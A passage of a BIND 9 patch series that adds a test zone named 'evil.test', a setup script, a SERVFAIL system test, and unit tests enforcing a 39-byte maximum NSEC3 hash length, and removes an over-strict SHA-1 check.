evil.test. +; Created: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026) +evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA== diff --git a/bin/tests/system/nsec3/ns6/named.conf.j2 b/bin/tests/system/nsec3/ns6/named.conf.j2 new file mode 100644 index 0000000000..b6da391281 --- /dev/null +++ b/bin/tests/system/nsec3/ns6/named.conf.j2 @@ -0,0 +1,32 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS6 + +options { + query-source address 10.53.0.6; + notify-source 10.53.0.6; + transfer-source 10.53.0.6; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.6; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion no; + dnssec-validation no; +}; + +zone "evil.test" { + type primary; + file "evil.test.db.signed"; +}; diff --git a/bin/tests/system/nsec3/ns6/setup.sh b/bin/tests/system/nsec3/ns6/setup.sh new file mode 100644 index 0000000000..ca02eae85a --- /dev/null +++ b/bin/tests/system/nsec3/ns6/setup.sh @@ -0,0 +1,21 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../../conf.sh + +echo_i "ns6/setup.sh" + +$SIGNER -3 DEADBEEF -A -H 10 -o evil.test -t evil.test.db >/dev/null 2>&1 +$CHECKZONE -s full -f text -F text -o evil.test.db.signed2 evil.test evil.test.db.signed >/dev/null 2>&1 +mv evil.test.db.signed2 evil.test.db.signed diff --git a/bin/tests/system/nsec3/setup.sh b/bin/tests/system/nsec3/setup.sh index 1ddb23c55a..142f77a17f 100644 --- a/bin/tests/system/nsec3/setup.sh +++ b/bin/tests/system/nsec3/setup.sh @@ -25,3 +25,8 @@ set -e cd ns3 $SHELL setup.sh ) + +( + cd ns6 + $SHELL setup.sh +) diff --git a/bin/tests/system/nsec3/tests_nsec3_initial.py b/bin/tests/system/nsec3/tests_nsec3_initial.py index 0cc53c81aa..f0dacdc461 100644 --- a/bin/tests/system/nsec3/tests_nsec3_initial.py +++ b/bin/tests/system/nsec3/tests_nsec3_initial.py @@ -9,6 +9,8 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +# pylint: disable=unspecified-encoding,multiple-statements,use-maxsplit-arg,broad-exception-caught,f-string-without-interpolation + import os import dns.rcode diff --git a/bin/tests/system/nsec3/tests_nsec3_length.py b/bin/tests/system/nsec3/tests_nsec3_length.py new file mode 100644 index 0000000000..0adc5bb8ad --- /dev/null +++ b/bin/tests/system/nsec3/tests_nsec3_length.py @@ -0,0 +1,32 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# pylint: disable=redefined-outer-name,unused-import + +import dns.message + +import isctest + +ZONES = { + "evil.test", +} + + +def bootstrap(): + return { + "zones": ZONES, + } + + +def test_nsec3_invalid_length(): + msg = dns.message.make_query("xxx.evil.test", "A") + res = isctest.query.udp(msg, "10.53.0.5") + isctest.check.servfail(res) From f030bc6756c3d4b01fe587205059149d05a4e3b6 Mon Sep 17 00:00:00 2001 From: Mark Andrews Date: Tue, 24 Feb 2026 13:30:43 +1100 Subject: [PATCH 4/5] Remove invalid REQUIRE in NSEC3 fromstruct method The NSEC3 fromstruct method only worked for hash type 1 when it should work for all hash types. --- lib/dns/rdata/generic/nsec3_50.c | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/dns/rdata/generic/nsec3_50.c b/lib/dns/rdata/generic/nsec3_50.c index eb06507d8d..9429d5dd4f 100644 --- a/lib/dns/rdata/generic/nsec3_50.c +++ b/lib/dns/rdata/generic/nsec3_50.c @@ -287,7 +287,6 @@ fromstruct_nsec3(ARGS_FROMSTRUCT) { REQUIRE(nsec3->common.rdtype == type); REQUIRE(nsec3->common.rdclass == rdclass); REQUIRE(nsec3->typebits != NULL || nsec3->len == 0); - REQUIRE(nsec3->hash == dns_hash_sha1); UNUSED(type); UNUSED(rdclass); From e83a182056b5624566a576669417e62eb94bffe9 Mon Sep 17 00:00:00 2001 From: Mark Andrews Date: Tue, 24 Feb 2026 13:35:07 +1100 Subject: [PATCH 5/5] Test maximum length NSEC3 hash detection Adds text and wire format unit tests to verify the newly enforced maximum NSEC3 hash length constraints. These tests ensure that hash lengths up to the 39-byte maximum are accepted, while larger sizes correctly fail. --- tests/dns/rdata_test.c | 34 +++++++++++++++++++++++++++++++--- 1 file changed, 31 insertions(+), 3 deletions(-) diff --git a/tests/dns/rdata_test.c b/tests/dns/rdata_test.c index 01c99623c4..2f63a7ab47 100644 --- a/tests/dns/rdata_test.c +++ b/tests/dns/rdata_test.c @@ -2464,8 +2464,7 @@ ISC_RUN_TEST_IMPL(nsec) { * RFC 5155. */ ISC_RUN_TEST_IMPL(nsec3) { - text_ok_t text_ok[] = { TEXT_INVALID(""), - TEXT_INVALID("."), + text_ok_t text_ok[] = { TEXT_INVALID(""), TEXT_INVALID("."), TEXT_INVALID(". RRSIG"), TEXT_INVALID("1 0 10 76931F"), TEXT_INVALID("1 0 10 76931F " @@ -2481,9 +2480,38 @@ ISC_RUN_TEST_IMPL(nsec3) { "AJHVGTICN6K0VDA53GCHFMT219SRRQLM"), TEXT_VALID("1 0 10 - " "AJHVGTICN6K0VDA53GCHFMT219SRRQLM"), + /* 123456789012345678901234567890123456789 */ + TEXT_VALID("2 0 10 - " + "64P36D1L6ORJGE9G64P36D1L6ORJGE9G64P" + "36D1L6ORJGE9G64P36D1L6ORJGE8"), + /* 1234567890123456789012345678901234567890 */ + TEXT_INVALID("2 0 10 - " + "64P36D1L6ORJGE9G64P36D1L6ORJGE9G6" + "4P36D1L6ORJGE9G64P36D1L6ORJGE9G"), TEXT_SENTINEL() }; + wire_ok_t wire_ok[] = { + WIRE_VALID(0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00), + /* maximal hash */ + WIRE_VALID(0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x01, 0x02, 0x03, + 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, 0x01, 0x02, + 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, 0x01, + 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09), + /* Too big hash */ + WIRE_INVALID(0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x01, 0x02, + 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0x07, 0x08, 0x09, 0x00, 0x01, 0x02, 0x03, 0x04, + 0x05, 0x06, 0x07, 0x08, 0x09, 0x00), + /* + * Sentinel. + */ + WIRE_SENTINEL() + }; - check_rdata(text_ok, NULL, NULL, false, dns_rdataclass_in, + check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in, dns_rdatatype_nsec3, sizeof(dns_rdata_nsec3_t)); }